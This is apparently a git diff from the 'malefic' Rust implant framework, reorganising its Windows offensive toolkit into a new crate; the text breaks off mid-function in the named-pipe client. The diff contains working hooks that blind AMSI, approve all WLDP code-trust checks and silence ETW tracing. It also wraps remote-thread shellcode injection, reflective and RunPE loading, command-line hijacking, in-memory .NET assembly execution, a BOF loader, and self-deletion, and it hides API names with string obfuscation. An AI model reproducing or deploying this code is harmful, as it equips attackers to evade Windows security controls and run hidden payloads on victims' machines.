MTpAllocAlpcCompletion( + AlpcReturn: *mut ::std::os::raw::c_void, + AlpcPort: *mut ::std::os::raw::c_void, + Callback: *mut ::std::os::raw::c_void, + Context: *mut ::std::os::raw::c_void, + CallbackEnviron: *mut ::std::os::raw::c_void, + ) -> i32; +} +extern "C" { + pub fn MTpAllocJobNotification( + JobReturn: *mut ::std::os::raw::c_void, + HJob: *mut ::std::os::raw::c_void, + Callback: *mut ::std::os::raw::c_void, + Context: *mut ::std::os::raw::c_void, + CallbackEnviron: *mut ::std::os::raw::c_void, + ) -> i32; +} diff --git a/malefic-crates/win/src/kit/binding/mod.rs b/malefic-crates/win/src/kit/binding/mod.rs new file mode 100644 index 0000000..07b02eb --- /dev/null +++ b/malefic-crates/win/src/kit/binding/mod.rs @@ -0,0 +1,61 @@ +#[cfg(feature = "prebuild")] +#[allow(warnings)] +pub(crate) mod binding; + +/// C-compatible RawString matching both bindings::RawString and winkit ffi::RawString +#[repr(C)] +pub struct RawString { + pub data: *mut u8, + pub len: usize, + pub capacity: usize, +} + +impl RawString { + pub unsafe fn into_string(self) -> String { + if self.data.is_null() || self.len == 0 { + return String::new(); + } + String::from_raw_parts(self.data, self.len, self.capacity) + } + + pub unsafe fn into_bytes(self) -> Vec { + self.into_string().into_bytes() + } +} + +/// Macro to generate source/prebuild dual-branch FFI dispatch. +/// +/// For `prebuild`: calls `binding::$name` (bindgen-generated FFI). +/// For non-`prebuild`: calls `malefic_win_kit::ffi::$name` directly through Rust paths. +macro_rules! ffi_dispatcher { + // Functions returning RawString (need field copy between crate-local types) + (fn $name:ident($($arg:ident: $ty:ty),* $(,)?) -> RawString) => { + #[allow(non_snake_case)] + pub unsafe fn $name($($arg: $ty),*) -> $crate::kit::binding::RawString { + #[cfg(feature = "prebuild")] + { + let r = $crate::kit::binding::binding::$name($($arg),*); + $crate::kit::binding::RawString { data: r.data, len: r.len, capacity: r.capacity } + } + #[cfg(not(feature = "prebuild"))] + { + let r = malefic_win_kit::ffi::$name($($arg),*); + $crate::kit::binding::RawString { data: r.data, len: r.len, capacity: r.capacity } + } + } + }; + // Functions returning other types or void + (fn $name:ident($($arg:ident: $ty:ty),* $(,)?) $(-> $ret:ty)?) => { + #[allow(non_snake_case)] + pub unsafe fn $name($($arg: $ty),*) $(-> $ret)? { + #[cfg(feature = "prebuild")] + { $crate::kit::binding::binding::$name($($arg),*) } + #[cfg(not(feature = "prebuild"))] + { malefic_win_kit::ffi::$name($($arg),*) } + } + }; +} +pub(crate) use ffi_dispatcher; + +// Auto-generated dispatch functions +include!(concat!(env!("OUT_DIR"), "/ffi_dispatch.rs")); diff --git a/malefic-crates/win/src/kit/bof/mod.rs b/malefic-crates/win/src/kit/bof/mod.rs new file mode 100644 index 0000000..1886259 --- /dev/null +++ b/malefic-crates/win/src/kit/bof/mod.rs @@ -0,0 +1,25 @@ +use crate::kit::binding::MaleficBofLoader; + +pub unsafe fn bof_loader( + buffer: &Vec, + arguments: &Vec, + entrypoint_name: Option, +) -> String { + let c_strings: Vec<_> = arguments + .iter() + .map(|s| std::ffi::CString::new(s.as_str()).unwrap()) + .collect(); + let c_ptrs: Vec<_> = c_strings.iter().map(|s| s.as_ptr() as *const u8).collect(); + let ep = entrypoint_name.map(|s| std::ffi::CString::new(s).unwrap()); + let ep_ptr = ep + .as_ref() + .map_or(std::ptr::null(), |s| s.as_ptr() as *const u8); + MaleficBofLoader( + buffer.as_ptr(), + buffer.len(), + c_ptrs.as_ptr(), + c_ptrs.len(), + ep_ptr, + ) + .into_string() +} diff --git a/malefic-helper/src/win/kit/bypass/mod.rs b/malefic-crates/win/src/kit/bypass/mod.rs similarity index 56% rename from malefic-helper/src/win/kit/bypass/mod.rs rename to malefic-crates/win/src/kit/bypass/mod.rs index 0cd4494..341ec2f 100644 --- a/malefic-helper/src/win/kit/bypass/mod.rs +++ b/malefic-crates/win/src/kit/bypass/mod.rs @@ -1,19 +1,15 @@ +use super::apis::{m_get_proc_address, m_load_library_a}; use std::{ffi::c_void, sync::atomic}; -use super::apis::{m_load_library_a, m_get_proc_address}; use detour::static_detour; -type AmsiScanBufferFn = unsafe extern "system" fn( - *mut c_void, *const u8, u32, - *mut u16, *mut c_void, *mut u32 -) -> i32; -type NtTraceEvent = unsafe extern "system" fn( - Handle: *mut c_void, Event: *mut c_void -) -> i32; +type AmsiScanBufferFn = + unsafe extern "system" fn(*mut c_void, *const u8, u32, *mut u16, *mut c_void, *mut u32) -> i32; +type NtTraceEvent = unsafe extern "system" fn(Handle: *mut c_void, Event: *mut c_void) -> i32; type WldpQueryDynamicCodeTrustFn = unsafe extern "system" fn( handle: *mut c_void, baseimage: *const c_void, - image_size: u32 + image_size: u32, ) -> u32; type WldpIsClassInApprovedListFn = unsafe extern "system" fn( class_id: *const c_void, @@ -32,7 +28,7 @@ static mut ETW_BYPASS_ATOMIC: atomic::AtomicU8 = atomic::AtomicU8::new(0); static_detour! { static AmsiScanBufferDetour: unsafe extern "system" fn( *mut c_void,*const u8,u32,*mut u16, - *mut c_void,*mut u32 + *mut c_void,*mut u32 ) -> i32; static WldpQueryDynamicCodeTrustDetour: unsafe extern "system" fn( *mut c_void, *const c_void, u32 @@ -45,62 +41,64 @@ static_detour! { pub unsafe fn bypass_wldp() { if !WLDP_BYPASS_BE_INITED { - let wldp_module = m_load_library_a( - obfstr::obfstr!("wldp.dll\x00").as_ptr() - ); + let wldp_module = + m_load_library_a(malefic_gateway::obfstr::obfstr!("wldp.dll\x00").as_ptr()); if wldp_module.is_null() { return; } let wldp_query_dynamic_code_trust = m_get_proc_address( - wldp_module, - obfstr::obfstr!("WldpQueryDynamicCodeTrust\x00").as_ptr() + wldp_module, + malefic_gateway::obfstr::obfstr!("WldpQueryDynamicCodeTrust\x00").as_ptr(), ); if wldp_query_dynamic_code_trust.is_null() { return; } - let original_wldp_query_dynamic_code_trust: WldpQueryDynamicCodeTrustFn = + let original_wldp_query_dynamic_code_trust: WldpQueryDynamicCodeTrustFn = std::mem::transmute(wldp_query_dynamic_code_trust); - let _ = WldpQueryDynamicCodeTrustDetour.initialize(original_wldp_query_dynamic_code_trust, |_,_,_| { - return 0; - }); + let _ = WldpQueryDynamicCodeTrustDetour.initialize( + original_wldp_query_dynamic_code_trust, + |_, _, _| { + return 0; + }, + ); let wldp_is_class_in_approved_list = m_get_proc_address( - wldp_module, - obfstr::obfstr!("WldpIsClassInApprovedList\x00").as_ptr() + wldp_module, + malefic_gateway::obfstr::obfstr!("WldpIsClassInApprovedList\x00").as_ptr(), ); if wldp_is_class_in_approved_list.is_null() { return; } - let original_wldp_is_class_in_approved_list: WldpIsClassInApprovedListFn = + let original_wldp_is_class_in_approved_list: WldpIsClassInApprovedListFn = std::mem::transmute(wldp_is_class_in_approved_list); - let _ = WldpIsClassInApprovedListDetour.initialize(original_wldp_is_class_in_approved_list, |_,_,is_approved,_| { - *is_approved = 1; - return 0; - }); + let _ = WldpIsClassInApprovedListDetour.initialize( + original_wldp_is_class_in_approved_list, + |_, _, is_approved, _| { + *is_approved = 1; + return 0; + }, + ); } let _ = WldpQueryDynamicCodeTrustDetour.enable(); let _ = WldpIsClassInApprovedListDetour.enable(); WLDP_BYPASS_ATOMIC.fetch_add(1, atomic::Ordering::AcqRel); - } pub unsafe fn bypass_amsi() { if !AMSI_BYPASS_BE_INITED { - let amsi_module = m_load_library_a( - obfstr::obfstr!("amsi.dll\x00").as_ptr() - ); + let amsi_module = + m_load_library_a(malefic_gateway::obfstr::obfstr!("amsi.dll\x00").as_ptr()); if amsi_module.is_null() { return; } let amsi_scan_buffer = m_get_proc_address( - amsi_module, - obfstr::obfstr!("AmsiScanBuffer\x00").as_ptr() + amsi_module, + malefic_gateway::obfstr::obfstr!("AmsiScanBuffer\x00").as_ptr(), ); if amsi_scan_buffer.is_null() { return; } - let original_amsi: AmsiScanBufferFn = - std::mem::transmute(amsi_scan_buffer); - let _ = AmsiScanBufferDetour.initialize(original_amsi, |_,_,_,_,_, value: *mut u32| { + let original_amsi: AmsiScanBufferFn = std::mem::transmute(amsi_scan_buffer); + let _ = AmsiScanBufferDetour.initialize(original_amsi, |_, _, _, _, _, value: *mut u32| { // AMSI_RESULT_CLEAN *value = 0; return 0; @@ -112,50 +110,27 @@ pub unsafe fn bypass_amsi() { } pub unsafe fn bypass_etw() { - - #[cfg(feature = "source")] - { - if !ETW_BYPASS_BE_INITED { - use malefic_win_kit::apis::DynamicApis::NT_TRACE_EVENT; - if NT_TRACE_EVENT.is_none() { - return; - } - let nt_trace_event = NT_TRACE_EVENT.as_ref().unwrap(); - let original_nt_trace_event: NtTraceEvent = std::mem::transmute(*nt_trace_event); - let _ = NtTraceEventDetour.initialize(original_nt_trace_event, |_,_| { - return 0; - }); - ETW_BYPASS_BE_INITED = true; + if !ETW_BYPASS_BE_INITED { + let etw_module = + m_load_library_a(malefic_gateway::obfstr::obfstr!("ntdll.dll\x00").as_ptr()); + if etw_module.is_null() { + return; } - let _ = NtTraceEventDetour.enable(); - ETW_BYPASS_ATOMIC.fetch_add(1, atomic::Ordering::AcqRel); - } - #[cfg(feature = "prebuild")] - { - if !ETW_BYPASS_BE_INITED { - let etw_module = m_load_library_a( - obfstr::obfstr!("ntdll.dll\x00").as_ptr() - ); - if etw_module.is_null() { - return; - } - let nt_trace_event = m_get_proc_address( - etw_module, - obfstr::obfstr!("NtTraceEvent\x00").as_ptr() - ); - if nt_trace_event.is_null() { - return; - } - let original_nt_trace_event: NtTraceEvent = - std::mem::transmute(nt_trace_event); - let _ = NtTraceEventDetour.initialize(original_nt_trace_event, |_,_| { - return 0; - }); - ETW_BYPASS_BE_INITED = true; + let nt_trace_event = m_get_proc_address( + etw_module, + malefic_gateway::obfstr::obfstr!("NtTraceEvent\x00").as_ptr(), + ); + if nt_trace_event.is_null() { + return; } - let _ = NtTraceEventDetour.enable(); - ETW_BYPASS_ATOMIC.fetch_add(1, atomic::Ordering::AcqRel); + let original_nt_trace_event: NtTraceEvent = std::mem::transmute(nt_trace_event); + let _ = NtTraceEventDetour.initialize(original_nt_trace_event, |_, _| { + return 0; + }); + ETW_BYPASS_BE_INITED = true; } + let _ = NtTraceEventDetour.enable(); + ETW_BYPASS_ATOMIC.fetch_add(1, atomic::Ordering::AcqRel); } pub unsafe fn enable_amsi() { @@ -181,4 +156,4 @@ pub unsafe fn enable_wldp() { } let _ = WldpQueryDynamicCodeTrustDetour.disable(); let _ = WldpIsClassInApprovedListDetour.disable(); -} \ No newline at end of file +} diff --git a/malefic-crates/win/src/kit/clr/mod.rs b/malefic-crates/win/src/kit/clr/mod.rs new file mode 100644 index 0000000..159ce2f --- /dev/null +++ b/malefic-crates/win/src/kit/clr/mod.rs @@ -0,0 +1,20 @@ +use crate::kit::binding::{CLRVersion, MaleficExecAssembleInMemory}; + +pub fn display_installed_dotnet_version() -> Vec { + let s = unsafe { CLRVersion().into_string() }; + if s.is_empty() { + vec![] + } else { + s.split('\n').map(String::from).collect() + } +} + +pub unsafe fn exec_assemble_in_memory(data: &[u8], args: Vec) -> String { + let c_strings: Vec<_> = args + .iter() + .map(|s| std::ffi::CString::new(s.as_str()).unwrap()) + .collect(); + let c_ptrs: Vec<_> = c_strings.iter().map(|s| s.as_ptr() as *const u8).collect(); + MaleficExecAssembleInMemory(data.as_ptr(), data.len(), c_ptrs.as_ptr(), c_ptrs.len()) + .into_string() +} diff --git a/malefic-crates/win/src/kit/hide/mod.rs b/malefic-crates/win/src/kit/hide/mod.rs new file mode 100644 index 0000000..c928a9e --- /dev/null +++ b/malefic-crates/win/src/kit/hide/mod.rs @@ -0,0 +1,5 @@ +use crate::kit::binding::DeleteSelf; + +pub unsafe fn self_delete(stream: &str) { + DeleteSelf(stream.as_ptr(), stream.len() as u32) +} diff --git a/malefic-crates/win/src/kit/inject/create_thread/mod.rs b/malefic-crates/win/src/kit/inject/create_thread/mod.rs new file mode 100644 index 0000000..d6e94e1 --- /dev/null +++ b/malefic-crates/win/src/kit/inject/create_thread/mod.rs @@ -0,0 +1,10 @@ +use crate::kit::binding::InjectRemoteThread; +use malefic_gateway::obfstr::obfstr; + +pub unsafe fn loader(bin: Vec, pid: u32) -> Result { + if bin.is_empty() { + return Err(obfstr!("empty shellcode").to_string()); + } + let ret = InjectRemoteThread(bin.as_ptr(), bin.len(), pid); + Ok(ret.into_string()) +} diff --git a/malefic-crates/win/src/kit/inject/mod.rs b/malefic-crates/win/src/kit/inject/mod.rs new file mode 100644 index 0000000..28a7ffc --- /dev/null +++ b/malefic-crates/win/src/kit/inject/mod.rs @@ -0,0 +1,5 @@ +pub mod create_thread; + +pub fn remote_inject(bin: &[u8], pid: u32) -> Result { + unsafe { create_thread::loader(bin.to_vec(), pid) } +} diff --git a/malefic-crates/win/src/kit/mod.rs b/malefic-crates/win/src/kit/mod.rs new file mode 100644 index 0000000..f540b3a --- /dev/null +++ b/malefic-crates/win/src/kit/mod.rs @@ -0,0 +1,23 @@ +#![allow(dead_code)] + +pub mod apis; +pub mod bof; +#[cfg(feature = "bypass")] +pub mod bypass; +pub mod clr; +pub mod hide; +pub mod inject; +pub mod pe; +pub mod pwsh; + +pub mod binding; + +/// Subset of winkit's MaleficModule — only the fields consumers actually use. +/// Safe because winkit's full struct is #[repr(C)], so the first 3 fields +/// have identical layout. +#[repr(C)] +pub struct MaleficModule { + pub new_module: *mut core::ffi::c_void, + pub entry_point: *const core::ffi::c_void, + pub export_func: Vec<(String, usize)>, +} diff --git a/malefic-crates/win/src/kit/pe/inlinepe.rs b/malefic-crates/win/src/kit/pe/inlinepe.rs new file mode 100644 index 0000000..903a519 --- /dev/null +++ b/malefic-crates/win/src/kit/pe/inlinepe.rs @@ -0,0 +1,32 @@ +use crate::kit::binding::InlinePE; + +pub unsafe fn inline_pe( + bin: *const u8, + bin_size: usize, + magic: *const u16, + signature: *const u32, + commandline: *const u8, + commandline_len: usize, + entrypoint: *const u8, + entrypoint_len: usize, + is_dll: bool, + is_need_output: bool, + timeout: u32, + delay: u32, +) -> Vec { + InlinePE( + bin, + bin_size, + magic, + signature, + commandline, + commandline_len, + entrypoint, + entrypoint_len, + is_dll, + is_need_output, + timeout, + delay, + ) + .into_bytes() +} diff --git a/malefic-crates/win/src/kit/pe/mod.rs b/malefic-crates/win/src/kit/pe/mod.rs new file mode 100644 index 0000000..c460061 --- /dev/null +++ b/malefic-crates/win/src/kit/pe/mod.rs @@ -0,0 +1,63 @@ +pub mod inlinepe; +pub mod reflective_loader; +pub mod runpe; +pub mod utils; + +use crate::kit::binding::{HijackCommandLine, PELoader, RunSacrifice, UnloadPE}; + +pub unsafe fn unload_pe(pe_loader: *mut core::ffi::c_void) { + UnloadPE(pe_loader as _); +} + +pub unsafe fn unload_pe_no_tls(pe_loader: *mut core::ffi::c_void) { + UnloadPE(pe_loader as _); +} + +pub unsafe fn hijack_commandline(commandline: &Option) -> bool { + let s = String::new(); + let commandline = match commandline.as_ref() { + Some(c) => c, + None => &s, + }; + HijackCommandLine(commandline.as_ptr(), commandline.len()) != 0 +} + +pub unsafe fn load_pe( + bin: Vec, + magic: Option, + signature: Option, +) -> *const core::ffi::c_void { + if bin.is_empty() { + return std::ptr::null(); + } + PELoader( + std::ptr::null(), + bin.as_ptr() as _, + bin.len(), + magic.is_some(), + signature.is_some(), + magic.unwrap_or(0), + signature.unwrap_or(0), + ) +} + +pub unsafe fn run_sacrifice( + application_name: *mut u8, + start_commandline: &[u8], + hijack_commandline: &[u8], + parent_id: u32, + need_output: bool, + block_dll: bool, +) -> Vec { + RunSacrifice( + application_name, + start_commandline.as_ptr(), + start_commandline.len(), + hijack_commandline.as_ptr(), + hijack_commandline.len(), + parent_id, + need_output, + block_dll, + ) + .into_bytes() +} diff --git a/malefic-crates/win/src/kit/pe/reflective_loader.rs b/malefic-crates/win/src/kit/pe/reflective_loader.rs new file mode 100644 index 0000000..492d59f --- /dev/null +++ b/malefic-crates/win/src/kit/pe/reflective_loader.rs @@ -0,0 +1,32 @@ +use crate::kit::binding::ReflectiveLoader; + +pub unsafe fn reflective_loader( + start_commandline: *const u8, + start_commandline_len: usize, + reflective_loader_name: *const u8, + reflective_loader_name_len: usize, + data: *const u8, + data_len: usize, + param: *const u8, + param_len: usize, + ppid: u32, + block_dll: bool, + timeout: u32, + is_need_output: bool, +) -> Vec { + ReflectiveLoader( + start_commandline, + start_commandline_len, + reflective_loader_name, + reflective_loader_name_len, + data, + data_len, + param, + param_len, + ppid, + block_dll, + timeout, + is_need_output, + ) + .into_bytes() +} diff --git a/malefic-crates/win/src/kit/pe/runpe.rs b/malefic-crates/win/src/kit/pe/runpe.rs new file mode 100644 index 0000000..5b4ab8f --- /dev/null +++ b/malefic-crates/win/src/kit/pe/runpe.rs @@ -0,0 +1,31 @@ +use crate::kit::binding::RunPE; + +pub unsafe fn run_pe( + start_commandline: &[u8], + hijack_commandline: &[u8], + data: &[u8], + entrypoint: &[u8], + args: &[u8], + is_x86: bool, + pid: u32, + block_dll: bool, + need_output: bool, +) -> Vec { + RunPE( + start_commandline.as_ptr(), + start_commandline.len(), + hijack_commandline.as_ptr(), + hijack_commandline.len(), + data.as_ptr(), + data.len(), + entrypoint.as_ptr(), + entrypoint.len(), + args.as_ptr(), + args.len(), + is_x86, + pid, + block_dll, + need_output, + ) + .into_bytes() +} diff --git a/malefic-helper/src/win/kit/pe/utils.rs b/malefic-crates/win/src/kit/pe/utils.rs similarity index 56% rename from malefic-helper/src/win/kit/pe/utils.rs rename to malefic-crates/win/src/kit/pe/utils.rs index 0741ea5..d0d911a 100644 --- a/malefic-helper/src/win/kit/pe/utils.rs +++ b/malefic-crates/win/src/kit/pe/utils.rs @@ -1,7 +1,7 @@ use std::ptr::{null, read_unaligned}; +use malefic_common::utils::{dbj2_str_hash, get_cstr_len, pointer_add}; use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY}; -use crate::common::utils::{dbj2_str_hash, get_cstr_len, pointer_add}; #[cfg(target_pointer_width = "64")] #[allow(non_camel_case_types)] @@ -12,56 +12,46 @@ pub type IMAGE_NT_HEADERS = windows::Win32::System::Diagnostics::Debug::IMAGE_NT #[macro_export] macro_rules! get_nt_header { - ($base_addr: expr) => { - { - let dos_header = $base_addr as *mut IMAGE_DOS_HEADER; - pointer_add($base_addr, (*dos_header).e_lfanew as _) - } - }; + ($base_addr: expr) => {{ + let dos_header = $base_addr as *mut IMAGE_DOS_HEADER; + pointer_add($base_addr, (*dos_header).e_lfanew as _) + }}; } pub unsafe fn get_export_by_hash( - module_base: *const core::ffi::c_void, + module_base: *const core::ffi::c_void, func_hash: u32, ) -> *const core::ffi::c_void { let nt_headers = get_nt_header!(module_base) as *const IMAGE_NT_HEADERS; let export_dir = &(*nt_headers).OptionalHeader.DataDirectory[0]; - let export_dir_ptr = pointer_add( - module_base, - export_dir.VirtualAddress as usize - ) as *const IMAGE_EXPORT_DIRECTORY; + let export_dir_ptr = pointer_add(module_base, export_dir.VirtualAddress as usize) + as *const IMAGE_EXPORT_DIRECTORY; if export_dir_ptr.is_null() { return null(); } let export_dir = read_unaligned(export_dir_ptr); - let func_rva = pointer_add( - module_base, - export_dir.AddressOfFunctions as usize - ) as *const u32; - let func_name_rva = pointer_add( - module_base, - export_dir.AddressOfNames as usize - ) as *const u32; - let func_ord_rva = pointer_add( - module_base, - export_dir.AddressOfNameOrdinals as usize - ) as *const u16; + let func_rva = pointer_add(module_base, export_dir.AddressOfFunctions as usize) as *const u32; + let func_name_rva = pointer_add(module_base, export_dir.AddressOfNames as usize) as *const u32; + let func_ord_rva = + pointer_add(module_base, export_dir.AddressOfNameOrdinals as usize) as *const u16; for i in 0..(export_dir.NumberOfFunctions as isize) { let func_name = pointer_add( - module_base, - read_unaligned(func_name_rva.offset(i)) as usize + module_base, + read_unaligned(func_name_rva.offset(i)) as usize, ) as *const u8; let hsah = dbj2_str_hash(core::slice::from_raw_parts( - func_name, get_cstr_len(func_name))); + func_name, + get_cstr_len(func_name), + )); if hsah.eq(&func_hash) { let func_ord = read_unaligned(func_ord_rva.offset(i)) as isize; return pointer_add( - module_base, - read_unaligned(func_rva.offset(func_ord)) as usize + module_base, + read_unaligned(func_rva.offset(func_ord)) as usize, ) as _; } } null() -} \ No newline at end of file +} diff --git a/malefic-crates/win/src/kit/pwsh/mod.rs b/malefic-crates/win/src/kit/pwsh/mod.rs new file mode 100644 index 0000000..7363ba6 --- /dev/null +++ b/malefic-crates/win/src/kit/pwsh/mod.rs @@ -0,0 +1,5 @@ +use crate::kit::binding::MaleficPwshExecCommand; + +pub unsafe fn pwsh_exec_command(script: &String) -> String { + MaleficPwshExecCommand(script.as_ptr(), script.len()).into_string() +} diff --git a/malefic-crates/win/src/lib.rs b/malefic-crates/win/src/lib.rs new file mode 100644 index 0000000..d961512 --- /dev/null +++ b/malefic-crates/win/src/lib.rs @@ -0,0 +1,22 @@ +#![allow(dead_code)] + +pub mod common; +#[cfg(feature = "detour")] +pub mod detour; +#[cfg(any(feature = "source", feature = "prebuild"))] +pub mod kit; +#[cfg(feature = "pipe")] +pub mod pipe; +#[cfg(feature = "reg")] +pub mod reg; +#[cfg(feature = "scheduler")] +pub mod scheduler; +#[cfg(feature = "service")] +pub mod service; +#[cfg(feature = "sleep_obf")] +pub mod sleep; +#[cfg(feature = "token")] +pub mod token; +pub mod types; +#[cfg(feature = "wmi")] +pub mod wmi; diff --git a/malefic-helper/src/win/pipe/mod.rs b/malefic-crates/win/src/pipe/mod.rs similarity index 58% rename from malefic-helper/src/win/pipe/mod.rs rename to malefic-crates/win/src/pipe/mod.rs index d4f102b..d305b14 100644 --- a/malefic-helper/src/win/pipe/mod.rs +++ b/malefic-crates/win/src/pipe/mod.rs @@ -1,12 +1,12 @@ -use crate::win::common::to_wide_string; +use crate::common::{self, to_wide_string}; use std::ffi::OsStr; -use std::io; use std::os::windows::ffi::OsStrExt; use std::ptr::null_mut; -use windows::core::{Error as WinError, PCWSTR}; +use windows::core::{Error, Result, PCWSTR}; use windows::Win32::Foundation::{ - CloseHandle, GetLastError, ERROR_ACCESS_DENIED, ERROR_PIPE_BUSY, ERROR_PIPE_CONNECTED, FALSE, - GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE, WIN32_ERROR, + CloseHandle, GetLastError, ERROR_ACCESS_DENIED, ERROR_BROKEN_PIPE, ERROR_PIPE_BUSY, + ERROR_PIPE_CONNECTED, FALSE, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE, + WIN32_ERROR, }; use windows::Win32::Security::SECURITY_ATTRIBUTES; use windows::Win32::Storage::FileSystem::{ @@ -21,129 +21,104 @@ use windows::Win32::System::Pipes::{ }; const PIPE_UNLIMITED_INSTANCES: u32 = 255; +const PIPE_BUFFER_SIZE: u32 = 512; +const MAX_CREATE_FILE_RETRIES: u32 = 10; +const WAIT_NAMED_PIPE_TIMEOUT_MS: u32 = 5000; #[derive(Debug)] -struct Handle { - value: HANDLE, -} - -impl Drop for Handle { - fn drop(&mut self) { - let _ = unsafe { CloseHandle(self.value) }; - } -} - -unsafe impl Sync for Handle {} -unsafe impl Send for Handle {} - pub struct NamedPipe { handle: HANDLE, } impl NamedPipe { - // 创建命åç®¡é“ - pub fn create(pipe_name: &str) -> Result { + pub fn create(pipe_name: &str) -> Result { let pipe_name_wide = to_wide_string(pipe_name); - let handle = unsafe { CreateNamedPipeW( PCWSTR(pipe_name_wide.as_ptr()), PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, - 512, // å‡ºç«™ç¼“å†²åŒºå¤§å° - 512, // å…¥ç«™ç¼“å†²åŒºå¤§å° - 0, // 默认超时 - None, // 安全属性为None + PIPE_BUFFER_SIZE, + PIPE_BUFFER_SIZE, + 0, + None, ) }; - if handle == INVALID_HANDLE_VALUE { - return Err(WIN32_ERROR(unsafe { GetLastError().0 })); + return Err(common::last_win32_error()); } - Ok(NamedPipe { handle }) } - // 打开已有的命åç®¡é“ - pub fn open(pipe_name: &str) -> Result { + pub fn open(pipe_name: &str) -> Result { let pipe_name_wide = to_wide_string(pipe_name); let handle = unsafe { CreateFileW( PCWSTR(pipe_name_wide.as_ptr()), - PIPE_ACCESS_DUPLEX.0, // 读写访问 + GENERIC_READ.0 | GENERIC_WRITE.0, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, - FILE_FLAG_OVERLAPPED, // 使用é‡å æ¨¡å¼è¿›è¡Œå¼‚æ­¥æ“作 + FILE_FLAG_OVERLAPPED, None, ) }; - - let handle = handle.map_err(|err| WIN32_ERROR(err.code().0 as u32))?; // Handle error here - + let handle = handle?; if handle == INVALID_HANDLE_VALUE { - return Err(WIN32_ERROR(unsafe { GetLastError().0 })); + return Err(common::last_win32_error()); } - Ok(NamedPipe { handle }) } - // 等待客户端连接 - pub fn wait(&self) -> Result<(), WIN32_ERROR> { + pub fn wait(&self) -> Result<()> { let result = unsafe { ConnectNamedPipe(self.handle, Some(null_mut())) }; - if result.is_err() { let error_code = unsafe { GetLastError().0 }; if error_code != ERROR_PIPE_CONNECTED.0 { - // Using the predefined error constant - return Err(WIN32_ERROR(error_code)); + return Err(Error::from(WIN32_ERROR(error_code))); } } - Ok(()) } - pub fn disconnect(&self) -> Result<(), WIN32_ERROR> { + pub fn disconnect(&self) -> Result<()> { let result = unsafe { DisconnectNamedPipe(self.handle) }; if result.is_err() { - return Err(WIN32_ERROR(unsafe { GetLastError().0 })); + return Err(common::last_win32_error()); } Ok(()) } - // è¯»å–æ•°æ® - pub fn read(&self, buffer: &mut [u8]) -> Result { + pub fn read(&self, buffer: &mut [u8]) -> Result { let mut bytes_read: u32 = 0; let result = unsafe { ReadFile(self.handle, Some(buffer), Some(&mut bytes_read), None) }; - if result.is_err() { - return Err(WIN32_ERROR(unsafe { GetLastError().0 })); + return Err(common::last_win32_error()); } - Ok(bytes_read) } - // å†™å…¥æ•°æ® - pub fn write(&self, buffer: &[u8]) -> Result { + pub fn write(&self, buffer: &[u8]) -> Result { let mut bytes_written: u32 = 0; let result = unsafe { WriteFile(self.handle, Some(buffer), Some(&mut bytes_written), None) }; - if result.is_err() { - return Err(WIN32_ERROR(unsafe { GetLastError().0 })); + return Err(common::last_win32_error()); } Ok(bytes_written) } - // å…³é—­ç®¡é“ - pub fn close(&self) { - unsafe { - let _ = CloseHandle(self.handle); - }; + pub fn close(&mut self) { + let _ = self.disconnect(); + if self.handle != INVALID_HANDLE_VALUE { + unsafe { + let _ = CloseHandle(self.handle); + } + self.handle = INVALID_HANDLE_VALUE; + } } - // 获å–管é“奿Ÿ„ pub fn get_handle(&self) -> HANDLE { self.handle } @@ -151,69 +126,100 @@ impl NamedPipe { impl Drop for NamedPipe { fn drop(&mut self) { - let _ = self.disconnect(); + if self.handle != INVALID_HANDLE_VALUE { + #[cfg(debug_assertions)] + malefic_common::debug!("WARNING: NamedPipe dropped without close()"); + let _ = self.disconnect(); + unsafe { + let _ = CloseHandle(self.handle); + } + } + } +} + +#[derive(Debug)] +struct Handle { + value: HANDLE, +} + +impl Drop for Handle { + fn drop(&mut self) { + let _ = unsafe { CloseHandle(self.value) }; } } +unsafe impl Sync for Handle {} +unsafe impl Send for Handle {} + +#[derive(Debug)] pub struct PipeClient { handle: Handle, } unsafe impl Sync for PipeClient {} unsafe impl Send for PipeClient {} + impl PipeClient { - pub fn create_file(name: &Vec, mode: u32) -> io::Result { - loop { - let handle = unsafe { - CreateFileW( - PCWSTR::from_raw(name.as_ptr()), - mode, - FILE_SHARE_READ | FILE_SHARE_WRITE, - None, - OPEN_EXISTING, - FILE_FLAG_OVERLAPPED, - None, - ) - }; - // debug!("[+] Success create file: {:?}", handle); - if handle.is_ok() { - return Ok(handle?); + pub fn create_file(name: &[u16], initial_mode: u32) -> Result { + let access_modes = [ + initial_mode, + GENERIC_READ.0 | FILE_WRITE_ATTRIBUTES.0, + GENERIC_WRITE.0 | FILE_READ_ATTRIBUTES.0, + ]; + + for (idx, &mode) in access_modes.iter().enumerate() { + // Only try fallback modes when the initial mode was full duplex + if idx > 0 && initial_mode != (GENERIC_READ.0 | GENERIC_WRITE.0) { + break; } - // debug!("[-] Failed to create file: {:?}", handle); - let err = unsafe { GetLastError() }; - // debug!("[+] Error code: {:?}", err); - match err { - ERROR_PIPE_BUSY => { - let _ = unsafe { WaitNamedPipeW(PCWSTR::from_raw(name.as_ptr()), 0) }; - } - ERROR_ACCESS_DENIED => { - if mode == (GENERIC_READ.0 | GENERIC_WRITE.0) { - return PipeClient::create_file( - name, - GENERIC_READ.0 | FILE_WRITE_ATTRIBUTES.0, - ); - } - if mode == (GENERIC_READ.0 | FILE_WRITE_ATTRIBUTES.0) { - return PipeClient::create_file( - name, - GENERIC_WRITE.0 | FILE_READ_ATTRIBUTES.0, - ); + + let mut retries = 0; + loop { + let handle = unsafe { + CreateFileW( + PCWSTR::from_raw(name.as_ptr()), + mode, + FILE_SHARE_READ | FILE_SHARE_WRITE, + None, + OPEN_EXISTING, + FILE_FLAG_OVERLAPPED, + None, + ) + }; + match handle { + Ok(h) => return Ok(h), + Err(_) => { + let err = unsafe { GetLastError() }; + match err { + ERROR_PIPE_BUSY => { + retries += 1; + if retries >= MAX_CREATE_FILE_RETRIES { + break; // try next access mode + } + let _ = unsafe { + WaitNamedPipeW( + PCWSTR::from_raw(name.as_ptr()), + WAIT_NAMED_PIPE_TIMEOUT_MS, + ) + }; + } + ERROR_ACCESS_DENIED if idx < access_modes.len() - 1 => break, + _ => return Err(Error::from(WIN32_ERROR(err.0))), + 